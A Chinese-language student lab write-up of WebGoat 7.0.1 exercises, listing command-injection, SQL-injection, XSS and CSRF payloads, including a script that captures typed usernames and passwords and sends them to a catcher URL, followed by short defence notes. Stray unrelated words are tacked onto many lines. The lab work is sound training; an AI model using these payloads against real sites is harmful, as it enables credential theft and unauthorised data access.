進入https://github.com/WebGoat/WebGoat/releases?after=8.0.0網站html
下載 webgoat-container-7.0.1-war-exec.jarjava
輸入java -jar webgoat-container-7.0.1-war-exec.jar
安裝jar包git
覽器登錄http://localhost:8080/WebGoat
網站
github
選擇 Injection Flaws -> Command Injection
右鍵頁面中複選框,選擇inspect
Element審查網頁元素對源代碼進行修改,在末尾添加"& netstat -an & ipconfig"web
點擊 view,看到網絡端口使用狀況和 IP 地址,攻擊成功
sql
Goal:The form below allows a user to view weather data. Try to inject an SQL string that results in all the weather data being displayed.瀏覽器
右鍵點擊複選框,選擇inspect Element審查網頁元素對源代碼value="101"進行修改,在城市編號101後面添加or 1=1
安全
Goal:The form below allows a user to view their credit card numbers. Try to inject an SQL string that results in all the credit card numbers being displayed.cookie
輸入查詢的用戶名' or 1=1--
網絡
Goal:Use String SQL Injection to bypass authentication.
在密碼框右鍵選擇inspect Element審查網頁元素對長度進行修改
在密碼框輸入' or 1=1 --
編寫一個帶用戶名和密碼輸入框的表格
<form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> </form><br><br><HR>
編寫一段腳本讀取被攻擊者在表單上輸入的用戶名和密碼信息,將這些信息發送給捕獲這些信息的 WebGoat
function hack() { alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ""; } </script>
將兩段代碼合併後,在 XSS - > Phishing with XSS搜索上面代碼,在顯示的表單中輸入用戶名和密碼,登陸後WebGoat會將輸入的信息捕獲並反饋給咱們
在code框輸入<script>alert("20165219");</script>
點擊purchase,則會彈出窗口,內容是括號裏的串
在massage部分插入jsp代碼,代碼會被瀏覽器解析成html的內容
在message窗口輸入<script>alert("wyb");</script>
,說明攻擊成功
在Message框中輸入
<img src="http://localhost:8080/WebGoat/attack?Screen=303&menu=900&transferFunds=10000" width="1" height="1" />
SQL注入攻擊原理,如何防護
檢查輸入數據類型和格式
XSS攻擊的原理,如何防護
在表單提交或者url參數傳遞前,對須要的參數進行過濾。檢查用戶輸入的內容中是否有非法內容
CSRF攻擊原理,如何防護
經過referer、token或者驗證碼來檢測用戶提交 避免全站通用的cookie,嚴格設置cookie的域